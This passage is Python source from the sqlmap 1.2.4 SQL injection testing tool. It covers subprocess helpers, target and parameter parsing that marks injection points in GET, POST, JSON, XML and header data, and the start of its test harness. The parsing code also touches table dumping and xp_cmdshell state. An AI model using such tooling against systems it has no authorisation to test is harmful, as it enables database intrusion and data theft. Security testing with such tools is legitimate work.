"uname": None, "id": None, }) readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") elif commands: completer = CompleterNG(dict(((_, None) for _ in commands))) readline.set_completer_delims(' ') readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") loadHistory(completion) atexit.register(saveHistory, completion) sqlmap-1.2.4/lib/core/subprocessng.py000066400000000000000000000126401326012263700176050ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import errno import os import subprocess import time from lib.core.settings import IS_WIN if IS_WIN: try: from win32file import ReadFile, WriteFile from win32pipe import PeekNamedPipe except ImportError: pass import msvcrt else: import select import fcntl def blockingReadFromFD(fd): # Quick twist around original Twisted function # Blocking read from a non-blocking file descriptor output = "" while True: try: output += os.read(fd, 8192) except (OSError, IOError), ioe: if ioe.args[0] in (errno.EAGAIN, errno.EINTR): # Uncomment the following line if the process seems to # take a huge amount of cpu time # time.sleep(0.01) continue else: raise break if not output: raise EOFError("fd %s has been closed." % fd) return output def blockingWriteToFD(fd, data): # Another quick twist while True: try: data_length = len(data) wrote_data = os.write(fd, data) except (OSError, IOError), io: if io.errno in (errno.EAGAIN, errno.EINTR): continue else: raise if wrote_data < data_length: blockingWriteToFD(fd, data[wrote_data:]) break # the following code is taken from http://code.activestate.com/recipes/440554-module-to-allow-asynchronous-subprocess-use-on-win/ class Popen(subprocess.Popen): def recv(self, maxsize=None): return self._recv('stdout', maxsize) def recv_err(self, maxsize=None): return self._recv('stderr', maxsize) def send_recv(self, input='', maxsize=None): return self.send(input), self.recv(maxsize), self.recv_err(maxsize) def get_conn_maxsize(self, which, maxsize): if maxsize is None: maxsize = 1024 elif maxsize < 1: maxsize = 1 return getattr(self, which), maxsize def _close(self, which): getattr(self, which).close() setattr(self, which, None) if subprocess.mswindows: def send(self, input): if not self.stdin: return None try: x = msvcrt.get_osfhandle(self.stdin.fileno()) (errCode, written) = WriteFile(x, input) except ValueError: return self._close('stdin') except (subprocess.pywintypes.error, Exception), why: if why[0] in (109, errno.ESHUTDOWN): return self._close('stdin') raise return written def _recv(self, which, maxsize): conn, maxsize = self.get_conn_maxsize(which, maxsize) if conn is None: return None try: x = msvcrt.get_osfhandle(conn.fileno()) (read, nAvail, nMessage) = PeekNamedPipe(x, 0) if maxsize < nAvail: nAvail = maxsize if nAvail > 0: (errCode, read) = ReadFile(x, nAvail, None) except (ValueError, NameError): return self._close(which) except (subprocess.pywintypes.error, Exception), why: if why[0] in (109, errno.ESHUTDOWN): return self._close(which) raise if self.universal_newlines: read = self._translate_newlines(read) return read else: def send(self, input): if not self.stdin: return None if not select.select([], [self.stdin], [], 0)[1]: return 0 try: written = os.write(self.stdin.fileno(), input) except OSError, why: if why[0] == errno.EPIPE: # broken pipe return self._close('stdin') raise return written def _recv(self, which, maxsize): conn, maxsize = self.get_conn_maxsize(which, maxsize) if conn is None: return None flags = fcntl.fcntl(conn, fcntl.F_GETFL) if not conn.closed: fcntl.fcntl(conn, fcntl.F_SETFL, flags | os.O_NONBLOCK) try: if not select.select([conn], [], [], 0)[0]: return '' r = conn.read(maxsize) if not r: return self._close(which) if self.universal_newlines: r = self._translate_newlines(r) return r finally: if not conn.closed: fcntl.fcntl(conn, fcntl.F_SETFL, flags) def recv_some(p, t=.1, e=1, tr=5, stderr=0): if tr < 1: tr = 1 x = time.time() + t y = [] r = '' if stderr: pr = p.recv_err else: pr = p.recv while time.time() < x or r: r = pr() if r is None: break elif r: y.append(r) else: time.sleep(max((x - time.time()) / tr, 0)) return ''.join(y) def send_all(p, data): if not data: return while len(data): sent = p.send(data) if not isinstance(sent, int): break data = buffer(data, sent) sqlmap-1.2.4/lib/core/target.py000066400000000000000000000764351326012263700163720ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import codecs import functools import os import re import subprocess import sys import tempfile import time import urlparse from lib.core.common import Backend from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import intersect from lib.core.common import isNumPosStrValue from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import paramToDict from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import urldecode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import mergedOptions from lib.core.data import paths from lib.core.datatype import InjectionDict from lib.core.dicts import DBMS_DICT from lib.core.dump import dumper from lib.core.enums import HASHDB_KEYS from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUserQuitException from lib.core.option import _setDBMS from lib.core.option import _setKnowledgeBaseAttributes from lib.core.option import _setAuthCred from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HOST_ALIASES from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX from lib.core.settings import JSON_RECOGNITION_REGEX from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX from lib.core.settings import MULTIPART_RECOGNITION_REGEX from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import REFERER_ALIASES from lib.core.settings import RESTORE_MERGED_OPTIONS from lib.core.settings import RESULTS_FILE_FORMAT from lib.core.settings import SESSION_SQLITE_FILE from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import XML_RECOGNITION_REGEX from lib.utils.hashdb import HashDB from thirdparty.odict.odict import OrderedDict def _setRequestParams(): """ Check and set the parameters and perform checks on 'data' option for HTTP method POST. """ if conf.direct: conf.parameters[None] = "direct connection" return testableParameters = False # Perform checks on GET parameters if conf.parameters.get(PLACE.GET): parameters = conf.parameters[PLACE.GET] paramDict = paramToDict(PLACE.GET, parameters) if paramDict: conf.paramDict[PLACE.GET] = paramDict testableParameters = True # Perform checks on POST parameters if conf.method == HTTPMETHOD.POST and conf.data is None: logger.warn("detected empty POST body") conf.data = "" if conf.data is not None: conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method hintNames = [] def process(match, repl): retVal = match.group(0) if not (conf.testParameter and match.group("name") not in conf.testParameter): retVal = repl while True: _ = re.search(r"\\g<([^>]+)>", retVal) if _: retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) else: break if kb.customInjectionMark in retVal: hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name"))) return retVal if kb.processUserMarks is None and kb.customInjectionMark in conf.data: message = "custom injection marker ('%s') found in option " % kb.customInjectionMark message += "'--data'. Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException else: kb.processUserMarks = choice == 'Y' if kb.processUserMarks: kb.testOnlyCustom = True if re.search(JSON_RECOGNITION_REGEX, conf.data): message = "JSON data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*".+?)"(?%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) match = re.search(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data) if match and not (conf.testParameter and match.group("name") not in conf.testParameter): _ = match.group(2) _ = re.sub(r'("[^"]+)"', '\g<1>%s"' % kb.customInjectionMark, _) _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % kb.customInjectionMark, _) conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) kb.postHint = POST_HINT.JSON elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data): message = "JSON-like data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"('(?P[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data) conf.data = re.sub(r"('(?P[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data) kb.postHint = POST_HINT.JSON_LIKE elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data): message = "Array-like data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data) kb.postHint = POST_HINT.ARRAY_LIKE elif re.search(XML_RECOGNITION_REGEX, conf.data): message = "SOAP/XML data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"(<(?P[^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % kb.customInjectionMark), conf.data) kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data): message = "Multipart-like data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P[^\"'\r\n]+)[\"']?).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data) kb.postHint = POST_HINT.MULTIPART if not kb.postHint: if kb.customInjectionMark in conf.data: # later processed pass else: place = PLACE.POST conf.parameters[place] = conf.data paramDict = paramToDict(place, conf.data) if paramDict: conf.paramDict[place] = paramDict testableParameters = True else: if kb.customInjectionMark not in conf.data: # in case that no usable parameter values has been found conf.parameters[PLACE.POST] = conf.data kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"): warnMsg = "you've provided target URL without any GET " warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') " warnMsg += "and without providing any POST parameters " warnMsg += "through option '--data'" logger.warn(warnMsg) message = "do you want to try URI injections " message += "in the target URL itself? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': conf.url = "%s%s" % (conf.url, kb.customInjectionMark) kb.processUserMarks = True for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))): _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or "" if kb.customInjectionMark in _: if kb.processUserMarks is None: lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data', PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'} message = "custom injection marker ('%s') found in option " % kb.customInjectionMark message += "'%s'. Do you want to process it? [Y/n/q] " % lut[place] choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException else: kb.processUserMarks = choice == 'Y' if kb.processUserMarks: kb.testOnlyCustom = True if "=%s" % kb.customInjectionMark in _: warnMsg = "it seems that you've provided empty parameter value(s) " warnMsg += "for testing. Please, always use only valid parameter values " warnMsg += "so sqlmap could be able to run properly" logger.warn(warnMsg) if not kb.processUserMarks: if place == PLACE.URI: query = urlparse.urlsplit(value).query if query: parameters = conf.parameters[PLACE.GET] = query paramDict = paramToDict(PLACE.GET, parameters) if paramDict: conf.url = conf.url.split('?')[0] conf.paramDict[PLACE.GET] = paramDict testableParameters = True elif place == PLACE.CUSTOM_POST: conf.parameters[PLACE.POST] = conf.data paramDict = paramToDict(PLACE.POST, conf.data) if paramDict: conf.paramDict[PLACE.POST] = paramDict testableParameters = True else: conf.parameters[place] = value conf.paramDict[place] = OrderedDict() if place == PLACE.CUSTOM_HEADER: for index in xrange(len(conf.httpHeaders)): header, value = conf.httpHeaders[index] if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value): parts = value.split(kb.customInjectionMark) for i in xrange(len(parts) - 1): conf.paramDict[place]["%s #%d%s" % (header, i + 1, kb.customInjectionMark)] = "%s,%s" % (header, "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts)))) conf.httpHeaders[index] = (header, value.replace(kb.customInjectionMark, "")) else: parts = value.split(kb.customInjectionMark) for i in xrange(len(parts) - 1): name = None if kb.postHint: for ending, _ in hintNames: if parts[i].endswith(ending): name = "%s %s" % (kb.postHint, _) break if name is None: name = "%s#%s%s" % (("%s " % kb.postHint) if kb.postHint else "", i + 1, kb.customInjectionMark) conf.paramDict[place][name] = "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts))) if place == PLACE.URI and PLACE.GET in conf.paramDict: del conf.paramDict[PLACE.GET] elif place == PLACE.CUSTOM_POST and PLACE.POST in conf.paramDict: del conf.paramDict[PLACE.POST] testableParameters = True if kb.processUserMarks: for item in ("url", "data", "agent", "referer", "cookie"): if conf.get(item): conf[item] = conf[item].replace(kb.customInjectionMark, "") # Perform checks on Cookie parameters if conf.cookie: conf.parameters[PLACE.COOKIE] = conf.cookie paramDict = paramToDict(PLACE.COOKIE, conf.cookie) if paramDict: conf.paramDict[PLACE.COOKIE] = paramDict testableParameters = True # Perform checks on header values if conf.httpHeaders: for httpHeader, headerValue in list(conf.httpHeaders): # Url encoding of the header values should be avoided # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value if httpHeader.title() == HTTP_HEADER.USER_AGENT: conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue) condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True))) if condition: conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue} testableParameters = True elif httpHeader.title() == HTTP_HEADER.REFERER: conf.parameters[PLACE.REFERER] = urldecode(headerValue) condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True))) if condition: conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue} testableParameters = True elif httpHeader.title() == HTTP_HEADER.HOST: conf.parameters[PLACE.HOST] = urldecode(headerValue) condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True))) if condition: conf.paramDict[PLACE.HOST] = {PLACE.HOST: headerValue} testableParameters = True else: condition = intersect(conf.testParameter, [httpHeader], True) if condition: conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders) conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)} conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders] testableParameters = True if not conf.parameters: errMsg = "you did not provide any GET, POST and Cookie " errMsg += "parameter, neither an User-Agent, Referer or Host header value" raise SqlmapGenericException(errMsg) elif not testableParameters: errMsg = "all testable parameters you provided are not present " errMsg += "within the given request data" raise SqlmapGenericException(errMsg) if conf.csrfToken: if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}): errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) else: for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE): if conf.csrfToken: break for parameter in conf.paramDict.get(place, {}): if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES): message = "%s parameter '%s' appears to hold anti-CSRF token. " % (place, parameter) message += "Do you want sqlmap to automatically update it in further requests? [y/N] " if readInput(message, default='N', boolean=True): conf.csrfToken = getUnicode(parameter) break def _setHashDB(): """ Check and set the HashDB SQLite file for query resume functionality. """ if not conf.hashDBFile: conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE) if os.path.exists(conf.hashDBFile): if conf.flushSession: try: os.remove(conf.hashDBFile) logger.info("flushing session file") except OSError, msg: errMsg = "unable to flush the session file (%s)" % msg raise SqlmapFilePathException(errMsg) conf.hashDB = HashDB(conf.hashDBFile) def _resumeHashDBValues(): """ Resume stored data values from HashDB """ kb.absFilePaths = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or kb.absFilePaths kb.brute.tables = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_TABLES, True) or kb.brute.tables kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH) if isNumPosStrValue(kb.errorChunkLength): kb.errorChunkLength = int(kb.errorChunkLength) else: kb.errorChunkLength = None conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH) for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]: if not conf.tech or intersect(conf.tech, injection.data.keys()): if intersect(conf.tech, injection.data.keys()): injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech) if injection not in kb.injections: kb.injections.append(injection) _resumeDBMS() _resumeOS() def _resumeDBMS(): """ Resume stored DBMS information from HashDB """ value = hashDBRetrieve(HASHDB_KEYS.DBMS) if not value: return dbms = value.lower() dbmsVersion = [UNKNOWN_DBMS_VERSION] _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS])) _ = re.search(r"\A%s (.*)" % _, dbms, re.I) if _: dbms = _.group(1).lower() dbmsVersion = [_.group(2)] if conf.dbms: check = True for aliases, _, _, _ in DBMS_DICT.values(): if conf.dbms.lower() in aliases and dbms not in aliases: check = False break if not check: message = "you provided '%s' as a back-end DBMS, " % conf.dbms message += "but from a past scan information on the target URL " message += "sqlmap assumes the back-end DBMS is '%s'. " % dbms message += "Do you really want to force the back-end " message += "DBMS value? [y/N] " if not readInput(message, default='N', boolean=True): conf.dbms = None Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion) else: infoMsg = "resuming back-end DBMS '%s' " % dbms logger.info(infoMsg) Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion) def _resumeOS(): """ Resume stored OS information from HashDB """ value = hashDBRetrieve(HASHDB_KEYS.OS) if not value: return os = value if os and os != 'None': infoMsg = "resuming back-end DBMS operating system '%s' " % os logger.info(infoMsg) if conf.os and conf.os.lower() != os.lower(): message = "you provided '%s' as back-end DBMS operating " % conf.os message += "system, but from a past scan information on the " message += "target URL sqlmap assumes the back-end DBMS " message += "operating system is %s. " % os message += "Do you really want to force the back-end DBMS " message += "OS value? [y/N] " if not readInput(message, default='N', boolean=True): conf.os = os else: conf.os = os Backend.setOs(conf.os) def _setResultsFile(): """ Create results file for storing results of running in a multiple target mode. """ if not conf.multipleTargets: return if not conf.resultsFP: conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower()) try: conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0) except (OSError, IOError), ex: try: warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex)) handle, conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv") os.close(handle) conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0) warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename logger.warn(warnMsg) except IOError, _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " errMsg += "create temporary files and/or directories" raise SqlmapSystemException(errMsg) conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep) logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename) def _createFilesDir(): """ Create the file directory. """ if not conf.rFile: return conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname if not os.path.isdir(conf.filePath): try: os.makedirs(conf.filePath) except OSError, ex: tempDir = tempfile.mkdtemp(prefix="sqlmapfiles") warnMsg = "unable to create files directory " warnMsg += "'%s' (%s). " % (conf.filePath, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % tempDir logger.warn(warnMsg) conf.filePath = tempDir def _createDumpDir(): """ Create the dump directory. """ if not conf.dumpTable and not conf.dumpAll and not conf.search: return conf.dumpPath = paths.SQLMAP_DUMP_PATH % conf.hostname if not os.path.isdir(conf.dumpPath): try: os.makedirs(conf.dumpPath) except OSError, ex: tempDir = tempfile.mkdtemp(prefix="sqlmapdump") warnMsg = "unable to create dump directory " warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % tempDir logger.warn(warnMsg) conf.dumpPath = tempDir def _configureDumper(): conf.dumper = dumper conf.dumper.setOutputFile() def _createTargetDirs(): """ Create the output directory. """ try: if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): os.makedirs(paths.SQLMAP_OUTPUT_PATH) _ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr()) open(_, "w+b").close() os.remove(_) if conf.outputDir: warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH logger.warn(warnMsg) except (OSError, IOError), ex: try: tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") except Exception, _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " errMsg += "create temporary files and/or directories" raise SqlmapSystemException(errMsg) warnMsg = "unable to %s output directory " % ("create" if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH) else "write to the") warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) logger.warn(warnMsg) paths.SQLMAP_OUTPUT_PATH = tempDir conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname))) try: if not os.path.isdir(conf.outputPath): os.makedirs(conf.outputPath) except (OSError, IOError, TypeError), ex: try: tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") except Exception, _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " errMsg += "create temporary files and/or directories" raise SqlmapSystemException(errMsg) warnMsg = "unable to create output directory " warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) logger.warn(warnMsg) conf.outputPath = tempDir try: with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+", UNICODE_ENCODING) as f: f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname) f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET)) f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding)) if conf.data: f.write("\n\n%s" % getUnicode(conf.data)) except IOError, ex: if "denied" in getUnicode(ex): errMsg = "you don't have enough permissions " else: errMsg = "something went wrong while trying " errMsg += "to write to the output directory '%s' (%s)" % (paths.SQLMAP_OUTPUT_PATH, getSafeExString(ex)) raise SqlmapMissingPrivileges(errMsg) _createDumpDir() _createFilesDir() _configureDumper() def _restoreMergedOptions(): """ Restore merged options (command line, configuration file and default values) that could be possibly changed during the testing of previous target. """ for option in RESTORE_MERGED_OPTIONS: conf[option] = mergedOptions[option] def initTargetEnv(): """ Initialize target environment. """ if conf.multipleTargets: if conf.hashDB: conf.hashDB.close() if conf.cj: resetCookieJar(conf.cj) conf.paramDict = {} conf.parameters = {} conf.hashDBFile = None _setKnowledgeBaseAttributes(False) _restoreMergedOptions() _setDBMS() if conf.data: class _(unicode): pass kb.postUrlEncode = True for key, value in conf.httpHeaders: if key.upper() == HTTP_HEADER.CONTENT_TYPE.upper(): kb.postUrlEncode = "urlencoded" in value break if kb.postUrlEncode: original = conf.data conf.data = _(urldecode(conf.data)) setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) kb.postSpaceToPlus = '+' in original def setupTargetEnv(): _createTargetDirs() _setRequestParams() _setHashDB() _resumeHashDBValues() _setResultsFile() _setAuthCred() sqlmap-1.2.4/lib/core/testing.py000066400000000000000000000252441326012263700165510ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import codecs import doctest import os import re import shutil import sys import tempfile import time import traceback from extra.beep.beep import beep from lib.controller.controller import start from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import getUnicode from lib.core.common import randomStr from lib.core.common import readXmlFile from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapNotVulnerableException from lib.core.log import LOGGER_HANDLER from lib.core.option import init from lib.core.option import initOptions from lib.core.option import setVerbosity from lib.core.optiondict import optDict from lib.core.settings import UNICODE_ENCODING from lib.parse.cmdline import cmdLineParser class Failures(object): failedItems = None failedParseOn = None failedTraceBack = None _failures = Failures() def smokeTest(): """ Runs the basic smoke testing of a program """ retVal = True count, length = 0, 0 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): if any(_ in root for _ in ("thirdparty", "extra")): continue for filename in files: if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": length += 1 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): if any(_ in root for _ in ("thirdparty", "extra")): continue for filename in files: if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": path = os.path.join(root, os.path.splitext(filename)[0]) path = path.replace(paths.SQLMAP_ROOT_PATH, '.') path = path.replace(os.sep, '.').lstrip('.') try: __import__(path) module = sys.modules[path] except Exception, msg: retVal = False dataToStdout("\r") errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), msg) logger.error(errMsg) else: # Run doc tests # Reference: http://docs.python.org/library/doctest.html (failure_count, test_count) = doctest.testmod(module) if failure_count > 0: retVal = False count += 1 status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) clearConsoleLine() if retVal: logger.info("smoke test final result: PASSED") else: logger.error("smoke test final result: FAILED") return retVal def adjustValueType(tagName, value): for family in optDict.keys(): for name, type_ in optDict[family].items(): if type(type_) == tuple: type_ = type_[0] if tagName == name: if type_ == "boolean": value = (value == "True") elif type_ == "integer": value = int(value) elif type_ == "float": value = float(value) break return value def liveTest(): """ Runs the test of a program against the live testing environment """ retVal = True count = 0 